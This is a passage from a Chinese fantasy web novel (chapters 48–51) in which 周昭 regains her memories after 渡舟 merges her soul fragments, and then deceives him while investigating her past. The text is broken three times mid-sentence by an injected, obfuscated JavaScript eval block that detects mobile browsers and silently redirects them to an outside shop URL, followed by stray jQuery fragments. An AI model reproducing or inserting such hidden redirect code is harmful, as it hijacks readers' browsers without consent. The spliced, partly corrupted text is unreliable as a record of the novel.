祝鸢目不转睛盯着眼前脱画而出的女子,只觉有什么东西好像要从胸腔里跳出来,等到她和那双眼睛四目相对,一股巨大的痛楚从心底升腾而起,祝鸢牙关咬紧,听见折杞抢先道:“瑶姬!好大的胆子!” 折杞这话几乎是从牙缝里挤出来的,瑶姬莞尔一笑,眼眸转了几转,却道:“城主大人,你在害怕什么?” 折杞眉头紧蹙,问道:“你对昭姐姐做了什么?” 白衣浮动,折杞已闪身到瑶姬面前,怒道:“回答!” 昭姐姐……昭姐姐…… 祝鸢努力回忆这个熟悉的名字,以及眼前那张熟悉的脸,她到底在哪里见过?心口越来越痛,祝鸢看着执剑而来的女子,身侧渡舟却突然动了。 渡舟走近几步,目光描摹过那女子面容,轻轻叹了口气。 这轻飘飘的叹息声,好似从堕神图中数千年前的魂灵而来,又沉甸甸地落在人耳中。 渡舟叹完这口气,继而伸出手,道:“殿下……”他的语气虽然一贯低沉,细听却有几分不寻常的颤抖。 “你回来了,我……” ——噗嗤! 利剑划破衣帛,刺入皮肉,那柄玄铁剑就这么堂而皇之地捅进了渡舟身体。 “师父!” “主君!” 祝鸢被眼前一幕骇得两眼发直,渡舟却没哼一声,接着道:“我就知道,你一定会——” 女子面不改色拔出剑,又捅了第二刀,接着拔出,第三刀。刀刀命中要害,顷刻鲜血直流。 折杞大惊,上前道:“师父!昭姐姐,你们——” “让开!”渡舟充耳不闻,拂袖将他一把推开。 这是在干什么! 祝鸢想阻止,双脚却像被钉在地上,心口痛得几乎快要站立不住。 “哈哈哈哈!”瑶姬见此情形,笑得花枝乱颤,“丹妙那老贼,果然没骗我!做得很好,这位就是害你枉死的仇人。来,继续,听我的......” 瑶姬的声音蛊惑人心,折杞率先叫道:“莫非是……驭魂术?!” 驭魂术是一种高阶法术,并不局限于道士驭鬼,大鬼驱小鬼也有。但极难修炼,稍有差池便会魂飞魄散。戾气越重的鬼越强,越不容易被驱使。 除非—— “城主大人,你是不是想问我如何使得驭魂术?”瑶姬道,“的确,驭魂术不是我这种级别的鬼,朝夕之间能学会的,但有一种情况例外。这魂魄心中极恨,自愿献祭,心甘情愿任我驱使,只求复仇雪恨。” “心中极恨……”渡舟低声喃喃,在他注视着对方的同时,那柄剑第五次拔出。 “停!”瑶姬一声命令,举起的剑锋停下,渡舟没有理会自己身上大大小小的血窟窿,顺势半跪,近乎虔诚地覆上那只握剑的手。 一丝嫉妒在瑶姬脸上稍纵即逝,她定了定神,唇角微弯:“大人,我知道这点儿伤杀不了你。别误会,我只是帮丹妙一个小忙,丹妙很记恨你在九洲城对他的所作所为呢。” 渡舟正思索怎么把剑从女子手中取出,闻言头也不抬:“丹妙自己怎么不来?” 瑶姬掩唇咯咯一笑:“大人真是会说笑,丹妙不是刚被您抓了吗?” “让她把剑放下。” “什么?”瑶姬困惑道。 原来,渡舟不过是在自言自语,根本没有把她,以及所谓的驭魂术放在眼里。 瑶姬气急败坏道:“我是来跟你谈条件的,这就是你的待客之道吗?” 折杞摇头道:“丹青手,你与魇鬼勾结,用花钿食魂,难道你认为自己还有转世投胎的机会吗?” 阴差阳错,瑶姬那张花容月貌短暂地扭曲了片刻,吐字道:“那是最好不过……” 折杞道:“你还有什么要求的?” 瑶姬道:“我要离开无相城。” 折杞道:“不可能。” 瑶姬抹了抹脸上不知是笑还是哭出的泪珠子,反问道:“是吗?” 她软弱无骨的身子轻飘飘站起来,走到渡舟面前,却不敢靠近,调笑道:“大人,小女子这个要求,不过分吧?城主却不肯依我,你说,该怎么罚他?” 那女鬼只听瑶姬的话,渡舟下手又十分轻柔,因此不管他如何使力,都不能让那柄剑从她手中脱落。 他似乎刚注意到这边的动静,不耐道:“无相城的事情,我早已不过问,你找错人了。” 瑶姬见自己的话丝毫不起作用,怒意浮现眼底,终于威胁道:“好,既然大人要让她魂飞魄散,那我们没什么可谈了。” 渡舟终于抬起头,瑶姬没错过那眼神中赤裸裸的杀意,她看得出渡舟十分在乎这个残魂,事已至此,只差一步,岂有退缩的道理! 瑶姬冷笑道:“怎么,大人想杀我?你应该知道,驭魂术主仆一体,如果我死了,她也不能活!” 祝鸢听懂了。 魂魄只听令于主人,如果主人身死魂消,魂魄便会魂飞魄散。看来眼前的女鬼对渡舟来说非比寻常,瑶姬打赌渡舟不会伤她,非但不会伤她,还会唯命是从。 “错了,我现在不想杀你。”果然,渡舟如是道。 渡舟啊渡舟,你是无相妖主又如何? 瑶姬心头浮起一丝久违的愉悦,她突然觉得让渡舟只帮自己干一件事儿,实在是太亏了些,眼眸一转,说道:“大人,如果你放我离开无相城,帮我找到一个人,不!帮我杀掉一个人!” 瑶姬的面容有几分扭曲,喝道:“不!先不杀,我要活的!我要看着那人在我面前死!” “你说完了没有?”渡舟语气不耐道,“这把剑,让她放下。否则,我现在就杀了你。” “你说什么?!”瑶姬难以置信道,“你要杀我?” 渡舟揉了揉眉心:“很难理解吗?这句话。” 剑是重剑,上面承载了不知多少剑下亡魂,如果长时间握在一片残魂手里,将是魂魄不能承受之重。 瑶姬抬手一指,道:“你连她也要一起杀掉?” 渡舟站起来,将残魂护 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16738641|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在身后,左手手指微动,几道快如闪电的细线犹如利箭齐发,瞬间就穿透了瑶姬的身体! “师父!”折杞平白起了一身汗,“就这样杀了她,昭姐姐……” “折杞,我说了,不用你管。” 渡舟声音冷冰冰的,一如这个人给他的第一印象,无论过了几百上千年,还是没有改变。 折杞退后半步,不再说话了。 瑶姬的脸霎时间好像一张又薄又脆的白纸,她瞳孔放大,仍是一脸不敢相信。 怎么会这样?到底是哪里出了差错? 丹妙给的线索一定没错,渡舟分明对这片残魂在乎极了,可为什么—— 瑶姬突然想到了一种可能。尽管她觉得这种可能性实在是微乎其微,以致于她根本没有把这种情况算在里面。 “杀、杀了渡舟……”瑶姬气若游丝道。 出乎意料的是,那执剑的女子却并没有听从她的命令。 “杀!杀了……渡舟!” 瑶姬抵死挣扎,一股巨大的痛楚在她下达这两个命令的瞬间,传遍四肢百骸。那不是渡舟刺伤她的疼痛,而是驭魂术反噬的剧痛。 “你……竟然……”瑶姬已是垂死之态,喉咙里丝丝黑气蔓延。 折杞看明白了七七八八,忍不住道:“师父,你也用了驭魂术。” 驭魂术能差魂遣鬼,不过,还有一种邪法却反其道行之。以自身献祭作为鬼将,强行入局。瑶姬不过几百年道行,牵线木偶突然挂上渡舟这么一名强悍非常的鬼将,一旦有差魂之念,定遭反噬。 但这种邪法意在以命换命,以魂换魂,只要能将那红衣女子换下来,渡舟这尊大妖无论如何是瑶姬控制不住的。 虽然对施术之人来说既危险又伤身,却行之有效。渡舟没有否认,道:“那又如何。” “什么时候?你……”瑶姬不明白,她明明紧紧盯着渡舟,竟然让对方在这方寸之地顷刻之间,悄无声息遣进她的驭魂阵,倒反天罡。 渡舟懒得回答,转过身,语气柔和地哄着那残魂道:“殿下,把剑给我。” 红衣女子神情困惑,略微偏了偏脑袋。 痛,太痛了。 站在一边的祝鸢脸色煞白,心如刀绞,痛得几乎要弯下腰。这时,一只手突然稳稳地握住她,渡舟的眉头皱得那样深,祝鸢从没见过渡舟这副模样。他极为深刻地看了祝鸢一眼,将她握得更紧,然后伸出另一只手,缓慢地试探着,去碰那红衣女子手中的剑:“殿下,把剑给我,我带你回家……好吗?” 祝鸢望向那红衣女子,有那么一瞬间,她好像透过那双无波无澜的眼睛看到了皑皑大雪,雪中有人也是这样紧紧抓住她的手,冻僵的手掌坚硬得像铁,攥得她生疼。 “陛下,我想回家……” “陛下,活下去……” “不!”瑶姬见败局已定,歇斯底里道,“我不要被关进无相渊!我不要进无相渊!灵溪!我要你死!我要你死啊!” 瑶姬余光一瞥,渡舟,既然你不让我好过,我也不会让你好过! 垂死之际,怨念横生,是为大凶! 无数黑气自她体内升腾而出,堕神图尚未合拢,低吟嘶吼,竟有再乱之相。 瑶姬大叫道:“给我杀了他!” 49. 还魂 祝鸢又做梦了。 她梦见一座金碧辉煌的宫殿,殿内春意盎然,窗外花团锦簇。在那一团香气扑鼻中,祝鸢看见一只精巧的秋千,上面坐着个穿藕粉衣裙的小姑娘。 那小姑娘约莫三四岁,长得极为可人,冲她招手,咿呀道:“娘亲……娘亲……” 沙哑的声音自喉咙间溢出来,全然不似一个三岁孩童。 祝鸢愣怔住,摸了摸自己的脖子,那儿似乎有一道陈年旧疤,再低头一看,坐在秋千上的竟是她自己。 不,不是秋千。 那是一颗巨大无比的槐树。枝繁叶茂,天光难漏,脚底生长出无数黝黑粗长的枝蔓,像毒蛇一样将她手脚紧紧缠绕住。 “娘亲……” 一颗鲜红的头颅突然从树梢长出,露出尖利森白的牙齿,冲她狞笑道:“周昭,你该下地狱啦!” 周昭? 祝鸢动弹不得,心脏的位置似乎突然被人挖去了,灌入胸膛的寒气逼得她喉咙发紧,任凭她再怎么张大嘴巴也发不出一丝声音。 “陛下!赏我一滴血吧!” “陛下!把你的心给我吧!” 祝鸢手指微动,只摸到身下冰凉的玉石板。 头顶黑云沉沉,耳畔魔音窃窃。 一个身穿龙纹盔甲的女子缓缓转身,她手握一柄玄铁重剑,身上遍布伤痕,嘴角不停地往下滴血,而她胸膛的位置,则是一个拳头大小的黑洞。 那女子面容苍白绝美,缓缓启唇道:“周昭,就是你啊……” 祝鸢猝然睁开眼睛,冷汗打湿了她的后背,梦中的潮湿黏腻变成鼻端一缕难掩的血腥气。 “醒了。”有人立刻问她。 眼前白光渐渐汇聚成一个模糊的人影,那人肤色比寒冬的雪还要白,眼底如水潭落石,望向她时轻轻颤了颤:“我料想你快醒了。” 祝鸢认出渡舟,于是唤道:“……我……” 说出口的声音喑哑无比,以致于祝鸢过了很久才反应过来,这声音是从自己喉头发出来的。 好熟悉的声音……是我吗? 她能开口说话了。 渡舟眼中情绪因着她猝然开口,又起了一丝波澜,温声道:“还好吗?” “我……”祝鸢感觉心口很痛,她那张苍白的脸小心瑟缩在锦被里,剪了利爪的猫儿似的,神色茫然地喃喃道,“我还好……” 渡舟垂眸,一言不发地握住她的手,重新放回温暖的棉被里:“别怕,我陪着你。” 祝鸢不知道再继续说什么。 这也很好理解。就好像非得给哑巴一张嘴,聋子一双耳,一时间不知道该拿多出来的东西干什么。 祝鸢低声道:“我好像……做了很久的梦。” 渡舟面上露出一丝不自然,问道:“什么梦?” “记不起来了。” 祝鸢睁大眼睛,望着屋顶,眼神空洞无光,刚想用拳头砸脑袋就被渡舟提前拦下:“想起来再告诉我吧,好吗?” 祝鸢点点头,右手抚上眉眼,迟疑道:“……我好像跟从前……有哪里不一样了。” 渡舟没有回答她到底哪里不一样,祝鸢又道:“帮我拿一面镜子,好吗?” 渡舟沉默片刻,拿来铜镜给她。祝鸢将铜镜举到眼前,愣愣道:“这不是我……她是谁?” ——镜中是一张惊艳绝绝的脸。 眉如远山,唇色浅淡。望之如冰雪寒瀑,让人忍不住不禁遐想,她笑时又该是如何的春景朝阳,紧跟着,却又生出一丝不忍亵渎的罪过来。 毫无疑问,这是周昭的脸。 那位印在史册上的嗜血暴君,周朝亡国主,以及另一个难以抹杀的标签——天下难得的美人。 渡舟眉宇间闪过一丝惊讶,试探道:“你不记得?” 祝鸢摸着那张崭新皮囊,愣愣地摇头道:“……不记得了。我只记得丹青手要大人你打开堕神图,后面的事情都不记得了。” “……”渡舟似乎微不可查地松了口气,温声道,“你那日被划伤了脸,我给你换了张皮。” 祝鸢若有所思地点点头,对着铜镜左看右看,低声道:“好看是好看,但我还是喜欢原来的样子,不过怎样都无所谓啦。” 祝鸢放下铜镜,追问道:“大人,后来呢?” 渡舟纠正她:“你可以叫我渡舟。” “好吧,渡舟大人。” “……”渡舟似乎也不太满意这个称呼,眉心蹙了蹙,才道,“你先好好休息。” 渡舟起身离开,等殿门终于合拢,不留一丝缝隙,祝鸢的眼神却悄然变了。 若说从前她的眼睛像一眼就能望到底的泉水,现在这双眼睛,就像一潭深不见底的沼泽。 这具身体对祝鸢而言太熟悉了,比这段时间一直在用的另一具身体还要熟悉。 祝鸢重新拿起铜镜,那里面倒映出一张久违的脸—— 那张脸沉默片刻,勾起唇角冲她讥讽一笑: “周昭啊周昭,你怎么还没死?” ——祝鸢骗了渡舟,她想起来了。 虽然记忆断断续续并不连贯,但祝鸢就是周昭,她就是周昭。那个杀母弑兄的明鸢殿下,毕方神血最后一任皇帝,那个遗臭万年被刻在史书耻辱柱上的亡国君——周昭。 周昭抬手抚了抚自己的脸,这么多年了,她几乎没有变过模样。但她见过这张脸上曾经露出过多么可怖狰狞的表情,曾经流下过多么荒唐可笑的眼泪,也见过这双眼睛曾经有过多么高涨的杀意。 周昭啊周昭,你真该死啊。 不过,周昭也确实死过一回了。 但可笑的是,周昭想不起来自己是怎么死的了。 萤木那日的话犹在耳畔,他说周昭是被万民绑在祭天台上挖心而死。周昭不由笑了笑,这对于她而言倒是个再合适不过的死法。 虽然想不起来,但周昭千真万确是死了。以致于周昭现在不太能确定,自己到底是怎么“活”过来的? 按理说当年周昭死后,应当是没人大发善心给她收尸的。毕竟无论是周朝百姓,还是叛贼,都对她恨之入骨,恨不得生啖其肉,生饮其血。 周昭想,如果她真是被挖心而死,尸体一直摆在祭天台,那一定会很难看。 但事实就是她这具身体不仅没有被活吃掉,或是变成一堆白骨,反而被好好地保存了下来,连心脏也好端端地在胸腔跳动。 周昭前世虽然不曾修道,师父江梅棠却是大周乃至整个天下一等一的术士,当年周朝瘟疫横行,是江梅棠指引她带回疟鬼,也是江梅棠消灭了疟虫,让那场瘟疫最终归于平静。 周昭对修道并 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16741057|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不陌生。 人有三魂,生魂,识魂,觉魂。而周昭现在只有两片魂魄:一片是曾经变成祝鸢的生魂,一片是那日在无相城中自堕神图脱画而出的识魂,另一片觉魂却不在她身上。 到底是谁?在她死后替她收尸,又处心积虑将她的魂魄一分为三。但哪怕是鬼,也需神魂俱全,然魂魄分而离体,至多活不过一月。 周昭猜那人一定很强,也许比渡舟还强。因为他竟然能将那片生魂刻意隐去容貌,变成九洲城内一个毫不起眼的哑巴,还是一个会流血有心跳的“人”,连渡舟也没有发现。 不,渡舟真的没发现吗? 那日无相城,她的那片魂魄显然是被故意放进堕神图的。瑶姬到底知道什么? 这一千多年,她的神魂到底于何处游荡?又为何会被放进堕神图? 曾经自己作为哑奴时,为何偏偏会进入牵机营? 牵机营! 周昭想起来了。 她当初进入牵机营是因为渡舟,瑶姬打开堕神图也是因为渡舟。 如今周昭能“活”过来,只有一个原因——渡舟将她的两片魂魄融合了。 周昭虽然懂得不多,也知道融魂并不简单,更何况要冲破她身上另一个人留下的封印术法。周昭猜渡舟一定费了不少心血,才能刚刚好融合两片魂魄,让周昭“活”过来。 想到此处,周昭眼中闪过一丝嘲弄,她险些忘了。 萧十六,原来你叫渡舟啊。 渡舟,原来你就是无相妖主啊。 不过周昭还是不明白,渡舟如此费尽心思让她活过来,到底是为什么? 那日无相城中渡舟的反常仍历历在目,似乎渡舟对于找到她一片魂魄这件事非常震惊,甚至可以说是看重,就算被刺了那么多刀也毫不在乎。 这就是周昭想不通的地方。 毕竟在周昭的记忆里,她跟萧十六交情并不深。唯一有过的相处,就是那次三苗国抓疟鬼之行,此后萧十六这个名字,再也没有出现在她的生命里。 而很巧的是,从那以后周昭的人生便开始一路走下坡,进入了一种兵荒马乱、目不暇接的癫狂和痛苦中,她也渐渐地淡忘了这个人。 直到再次看见这张和当年几乎没什么不同的脸,周昭才想起来一件事情,一件上辈子竟然被她忽略了的、至关重要的事情: 她那惨得不能再惨的结局,很有可能来自于一个人,不,一个鬼。 那个传说中于无相渊横空出世的鬼王成业,堕神图真正的主人。 无妄海下九道渊,幽囚门吉三千年。血月乍现阴阳裂,未许人间活人现…… 周昭仔细回忆一遍,突然发现,许多被她忽略的细节在此刻完美地串了起来。 譬如那时候萧十六为什么引他们渡过无妄海,为什么海边恰好有一只能用的小船? 为什么萧十六凭空消失而后成业突然出现? 上辈子周昭一想到这里,便忍不住想十六可能遇到了什么意外,然后再也不敢想下去。此刻周昭静下心来,一切仿佛都有了答案。 ——传言鬼王成业被一只大妖斩杀,堕神图改为鬼门关,无相妖主诞生。 长淮说得不错,萧十六确实在利用她。 因为只有毕方神血能打开阴阳裂缝,这件事,周昭上辈子就知道了。 50. 行野 九洲城外五十里,雨丝微润,秋意渐起。 一座破败的庙宇沉默而苍凉地立于雨雾中,那匾额上的字因着这场温润的秋雨不觉褪去几分戾气,但望之仍让人心惊:杀神庙。 庙内无人,亦无神像,供桌上仅有一把石头雕刻的黑色长剑,除此之外空空如也。 那柄剑出鞘半寸,却能窥见利刃锋芒,犹感杀气沉重。细看,剑柄刻着一行小字:行野。 一人没有撑伞,独行至此,先是抬头看看匾额,再踏步入庙,摘下斗笠搁置一旁,露出一张了无生气的脸。 周昭本来没打算跪拜,毕竟自己拜自己这种事实在太奇怪了。但当她看见那柄剑,看到剑鞘上的字,心脏像被钝刀子来回割了几下,双膝缓缓一弯,心道:“霍将军,是我周昭对不住你。生前累你枉死,死后还要你的剑替我端坐供台,背负骂名。” 霍璋是周朝名将,但已过去千年,史料模糊,如今人们并不知道,周昭生命中最后那几年,跟随她来往杀敌的名剑“行野”其实是霍璋的佩剑。 霍璋死后,周昭承了他的剑,那时的周昭怎能算到,世人会用这把行野剑来供起一座讽刺的杀神庙。 “……霍将军,我今日身上没带酒,对不住了。”周昭自言自语,又从背上取下一柄剑,轻轻地置于供台上,轻声道,“这把剑,等我再杀一个人,一个罪人,我便还你,然后亲自到阴间请罪。” 周昭说到这里又自嘲一笑,阴间她去过,鬼门关也见过了,霍璋不在那儿。 她腰背笔直,目光低垂。 这里没有蒲团,跪久了膝盖会很痛,但周昭就像感觉不到,沉默着跪了许久,久到庙外的雨越下越大,周昭都快听不见自己的心跳声,她终于重新拿起那柄剑。 剑刃铮铮出鞘,光芒不减当年。 周昭握剑的手很稳,毕竟她杀过那么多人,但当把剑横于脖颈时,不知是不是剑刃太凉,还是跪得实在太久了,周昭忍不住微微颤抖一下。 “——好大的雨啊!” 有人来。 一个少年冒冒失失闯进来,看也不看便往里冲。 哐当! 周昭被这么一撞,皮肉立刻划开一道细小的口子。 少年才看到庙里跪着个人,还是个手持长剑,脸色雪白的女人,更不必说这人胸前还一片血迹,当即吓得魂飞魄散,哇哇叫道:“鬼啊!!!” 这不是萤木吗? 周昭抬眸,冷声道:“不要叫。” 萤木见“鬼”开口说话,再一看,不是胸前流血的女鬼,而是她脖子划了道不深不浅的口子。萤木惊魂未定,喉咙滚动几下,指着周昭道:“这、这位姐姐,你......你受伤了......” 萤木浑然不知,自己就是害周昭受伤的罪魁祸首,看看周昭,又看看搁在地上的剑,忍不住道:“姐姐......你不会、不会是想自杀吧?” 周昭不予理会,萤木当她默认,继续道:“姐姐,你有什么想不开的事儿要自杀啊?我看你长得这么好看,能有什么烦心事儿呢?难道是你爹娘要把你嫁给恶霸?不会吧......” 周昭眉头微蹙,萤木惊讶道:“我不会真猜中了吧!姐姐,就算是这样也不至于自杀啊,我是衙门里的人,可以帮你做主的。就算我不能帮你,还有陆大人,他很善良的,一定能……” “不要吵。”周昭从前怎么没觉得萤木这么多话。 周昭该死。 不光世人这么认为,周昭自己也这么认为。就算她现在不知道搞什么名堂,又活了过来,周昭还是觉得自己该死。 萤木十分自来熟地在周昭旁边盘腿坐下,看她跪得笔直,问道:“姐姐,你的伤真的不用管吗?” 周昭不答,萤木又道:“姐姐,寻死就寻死,跪杀神干嘛?难不成你心有所求,但是愿望没实现?那你找错地方啦,这是杀神庙,你如果求姻缘,应该去城里的月老庙,那里很灵验的。” “……”周昭深吸一口气,说出第三句话,“安静。” 萤木置若罔闻,继续:“姐姐,我没骗你的。杀神庙你不知道嘛,拜的是周朝那位亡国君周昭,她不管姻缘。不过,她倒是管杀人报仇什么的,你如果有这方面的心愿,拜一拜也无妨。” 周昭忍不住嘲讽道:“世人无知,可见一斑,周昭自己的仇都报不了,能帮你们吗?” 萤木道:“真的!姐姐你别不信,杀神很灵验的。等等,你说周昭的仇?周昭能有什么仇,不都是别人找她报仇吗?当年她通敌卖国,周朝桦城一战惨败,二十万大军全军覆没,梁王得以攻入周朝王庭……” “你说周昭通敌卖国?”周昭侧过脸,目光冰冷,问道,“谁告诉你的?” 萤木茫然道:“史书都这么写啊,人人都知道,姐姐你没听说过吗?” 他像打开了话匣子,眉飞色舞道:“安平六年,周朝与凉州、黎国等国决战桦城,周昭领兵亲征。本来呢,周朝军队是要守在桦城的,周昭却下令横渡汴江突袭敌营。听说那年冬天是个百年难遇的大寒天,汴江水都结了冰,虽然渡江铤而走险,但周昭本就精通纵横布阵之术,又一意孤行,因此无人敢有异议。” “谁知半渡时分,敌军早有埋伏,两岸火炮齐发,江水破冰而出,汹涌澎湃,二十万大军死伤无数。后来才知,是周昭提前将城防图私下给了黎国国主,都说周昭一直痴恋黎国国主,竟舍得拿帐下大军性命去换。”萤木说到此处长叹一声,“……所以我说,都是别人找周昭报仇索命的份儿。” 周昭内心波澜起伏。 桦城之战是她前世最后一场大仗,也是她输得最惨的一次。 那时四方之国群起来攻,屯兵甘南。甘南腹地是打开中原王庭的门户,非同小可。霍璋故去后,周昭不得已挂王旗亲征。虽然战况惨烈,死伤无数,好在十有九胜。她一口气收归甘南十二城,比之故去霍璋更令敌人闻风丧胆。 就在周昭以为可以暂时松口气时,桦城一役却成了她的噩梦。 那是个百年难遇的寒天,鹅毛大雪,呵气成冰。 他们中了敌军埋伏,无数士兵在她面前死去,连茫茫大雪都掩盖不住鲜血的颜色。入目是漫天的红,盔甲冰冷,江水刺骨,一直淹到她的头顶。 太冷了,黏稠的血水糊住了周昭双眼,周昭想哭却流不出眼泪。 副将背着她,托着她,让她踩着江中已经堆积成山的尸骨向上爬。 “......陛下,快跑。” “陛下,快跑啊!” ......< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16749946|184482||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “姐姐?你怎么了? 马蹄厮杀声渐歇,周昭打了个寒颤,萤木的声音继续道:“姐姐,你还好吗?” 周昭嗯了一声,手法娴熟地从袖子上撕了条碎布,在脖子上随意包扎几下,提剑起身,往雨幕走去。 身后萤木似乎在叫她,周昭却听不见了。 周昭通敌卖国,周朝二十万大军全军覆灭。 通敌卖国…… 周昭并不觉得有必要为自己辩解,但当年桦城整整二十万英魂,周昭没有脸顶着这样的罪名,去面对那些亡灵。 老天既然要她活,那她活就是了。她还有诸多谜题未解,还有诸多血债没有偿还。 周昭不想回到牵机营,她站在九洲城大街上,漫天大雨,街上并无多少行人。 她背着剑,四顾茫然。 城虽大,却无她容身之所。 潮湿阴冷的雨水在周昭脚下蔓延,那股寒意一直顺着小腿爬上来,真冷啊…… 双膝隐隐作痛,当年那场大雪留下的旧疾又阴魂不散地爬上了她的身体,仿佛时时刻刻在提醒她—— 是你害死了二十万性命。 周昭望向皇城方向,隐隐觉得那里或许有她想要的答案,她不再犹豫,转身往牵机营去了。 周昭洗过澡,又换了身衣服,脖颈处的伤口被水泡的有些发胀。这里原本就有条旧伤,也不知是她故意还是巧合,今日划伤的地方,跟那条旧伤竟然刚好重合。 手指轻轻抚摸过那条疤,却见门外人影微动,周昭没有丝毫犹豫,立刻将今日已经结痂的伤口撕开,恰到好处地叫了声痛。 咚咚! 门被推开一条小小的缝隙,人影低声问道:“怎么了?” “好痛。”周昭又道。 渡舟终于推门进来,快步走到她身边,语调紧张,问道:“哪里痛?”先是看她伤口,随后微微皱眉,手掌轻轻覆住她流血的脖颈。 周昭刚洗过澡,热气氤氲,发丝半干,在这不断升腾的热气里,渡舟的手似乎也微微发烫,他很快撤开手掌,那里不再流血,只剩一条陈年旧疤。 “怎么弄的?”渡舟声音低沉,又抬手弄干了她的头发。 周昭本是坐着,于是微微昂首,望着渡舟,语调天真得恰到好处:“渡舟大人,我见这里有道疤,好奇,不小心撕破了。” 周昭不知道这样说有没有瞒过渡舟,对方站得离她不算远,此刻垂眼看她,目光既没有审视,也没有探究,只是一如既往的平静。 但就是这种平静让周昭呼吸不畅。 从前的萧十六浑身都是刺,高傲,散漫,随心所欲,处处是谜团。接近萧十六,就像一颗石子投入山谷,稍不留神撞击得粉身碎骨。 而眼前的渡舟却不同。 他是一汪漆黑的沼泽,一潭无底的死水。投石其中,毫无波澜,却能悄无声息地吞噬。 在周昭这一口气憋得胸腔险些要炸开时,渡舟终于开口道:“下次注意,别弄伤自己。” 周昭点头应了声好,又问:“奇怪,这里怎么会弄伤呢?” 渡舟道:“……上回在无相城伤到的。” 妖的话,不可信。 这是渡舟原话,现在周昭原分不动地送还给他。 51. 试探 周昭其实在赌,赌渡舟对她尚有利用之意,赌渡舟暂时还没发现她在装,所以不会跟她撕破脸面。 她没有忽略自己刚醒来时说忘记了所有的事情,渡舟那如释重负的神情。既然渡舟想要她忘,她配合便是了。 翌日,在周昭的强烈要求下,渡舟带她去见了瑶姬。 瑶姬见了周昭,神情不可谓不复杂。 毕竟这片残魂是她手中曾经引以为傲的底牌,本想利用周昭牵制渡舟,没想到反而为他人做好嫁衣,阴差阳错,让渡舟融好了周昭的两片魂魄。 瑶姬大势已去,咯咯笑道:“哦,原来是我的鬼将。这么快就有了新主人,可喜可贺。” 瑶姬并不认识我? 周昭略微惊讶,转念一想,既然渡舟肯带她来见瑶姬,说明渡舟并不担心瑶姬会在她面前说漏嘴。 周昭故意装傻,指了指自己,问道:“姐姐,你是在叫我吗?” 瑶姬愣住,转而哈哈大笑道:“竟还是个傻子!可惜了这副好容貌!啊——!” 瑶姬惨叫一声,身上绑着的玄铁链就像活物一般愈缠愈紧,渡舟蹙眉道:“丹妙骗了你,你还打算替他卖命。” “魇鬼虽然狡猾,却没骗我。是他告诉我能用凤尾花钿吸食魂魄,如果你们再晚来半月,等九洲城那些又蠢又爱美的女子,都用上我这花钿,届时我法力大增,还用怕你那破堕神图吗!”瑶姬说到激动处奋力一挣,却被玄铁链狠狠拽倒在地,不禁又发出一声痛苦的尖叫。 渡舟道:“你以为丹妙那么好心?魇鬼唯恐天下不乱,不过是想借你的手,引我去无相城罢了。” 渡舟说得不错,魇鬼如果想要藏匿行踪,完全可以掩去凤尾花钿上自己的鬼气。 周昭仔细想想,那时她和上官确实是因为花钿上残留的魇鬼气息,才一路追查到无相城。 这么简单的道理,瑶姬不会想不明白。她此刻披头散发,实在可怖,气急败坏道:“堂堂无相妖主!你欺负女人,算什么本事!” 周昭想不通的是,魇鬼大费周章将他们引去无相城,到底是为了什么? 瑶姬仍在喋喋不休破口大骂,周昭此刻装疯卖傻,很多话不便问出口。但她想知道的这些问题,渡舟却闭口不提。 一种可能是,在她没有醒的这些天里,渡舟早已经问过千八百回,瑶姬不肯说; 另一种可能是,渡舟已经知道了全部真相,所以没必要再问。 无论哪种可能,对周昭来说都差不了太多。她既没办法直接开口问渡舟,也不能正大光明问瑶姬。 略一思索,便走近问道:“这位姐姐,你也知道魇鬼吗?那你有没有见过县令大人,他被魇鬼附身了,我正在找他。” 什么都不能问,县令总是能问的吧。 果然,瑶姬浑然不觉周昭在套话,看着她道:“我当然知道魇鬼,当初还是他把魂魄交给我。怎么,你很在意魇鬼用的身体?哎哟哟,那可有好戏看啦!我告诉你,魇鬼霸占的那副身体已经快不行啦!瘦得都没人形啦!小妹妹,你要是想快点找到他,就劝劝你家大人放我出去,怎么样?” 魇鬼不能离开贺金牙的身体,自然好吃好喝不会苦了自己,虽然吃的喝的不是什么正经肉就是了,但要说魇鬼这厮能把自己饿瘦,那纯属无稽之谈。 渡舟忍不住提醒道:“别听她胡说。” 周昭此行最大的目的已经达到,但装一装总是要的,她面露不忍,顺着瑶姬的话说道:“渡舟大人,能不能听她的?我想救县令大人。” 周昭演得情真意切。 其实也不能完全算演的,贺金牙是她对九洲城为数不多的两年记忆里,唯一一个可以相信的人。 周昭本来信口胡说,谁知等出了地牢,渡舟竟然语气松动,说道:“你刚才说的,可以考虑。” ……这可不是无相妖主的行事风格。 